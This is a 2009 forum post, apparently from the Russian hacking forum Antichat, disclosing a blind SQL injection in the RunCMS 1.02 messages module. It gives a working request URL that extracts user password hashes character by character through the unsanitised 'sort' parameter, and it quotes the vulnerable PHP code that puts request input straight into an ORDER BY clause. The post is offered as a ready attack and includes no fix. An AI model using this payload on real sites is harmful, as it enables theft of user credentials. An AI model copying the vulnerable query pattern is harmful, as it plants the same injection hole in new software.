
25.02.2009, 09:00
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
messages - дефолтный модуль RunCMS
Версия: 1.02
Blind SQL-INJ
Уязвимый скрипт: read.php и readsend.php
Посимвольный брут
Запрос: /modules/messages/read.php?start=0&total_messages=1&sort=msg_time+an d+(select+ascii(substring(pass,1,1))+from+runcms_u sers+limit+0,1) >100&by=DESC
Уязвимый кусок кода:
PHP код:
// read.php
$start = intval($_REQUEST['start']);
$total_messages = intval($_REQUEST['total_messages']);
$sort = $_GET['sort'];
$by = $_GET['by'];
$pm_arr =& PM::getAllPM(array("to_userid=".$xoopsUser->getVar("uid").""), true, $sort, $by, 1, $start);
// pm.class.php
function &getAllPM($criteria=array(), $asobject=false, $sort='msg_time', $order='ASC', $limit=0, $start=0) {
global $db;
$ret = array();
$where_query = '';
if ( is_array($criteria) && count($criteria) > 0 ) {
$where_query = " WHERE";
foreach ( $criteria as $c ) {
$where_query .= " $c AND";
}
$where_query = substr($where_query, 0, -4);
}
if ( !$asobject ) {
$sql = "SELECT msg_id FROM ".$db->prefix("private_msgs")."$where_query ORDER BY $sort $order";
$result = $db->query($sql, $limit, $start);
while ( $myrow = $db->fetch_array($result) ) {
$ret[] = $myrow['msg_id'];
}
} else {
// как видим - нам мешает ORDER BY =\
$sql = "SELECT * FROM ".$db->prefix("private_msgs")."".$where_query." ORDER BY $sort $order";
$result = $db->query($sql, $limit, $start);
while ( $myrow = $db->fetch_array($result) ) {
$ret[] = new PM($myrow);
}
}
return $ret;
}
|
|
|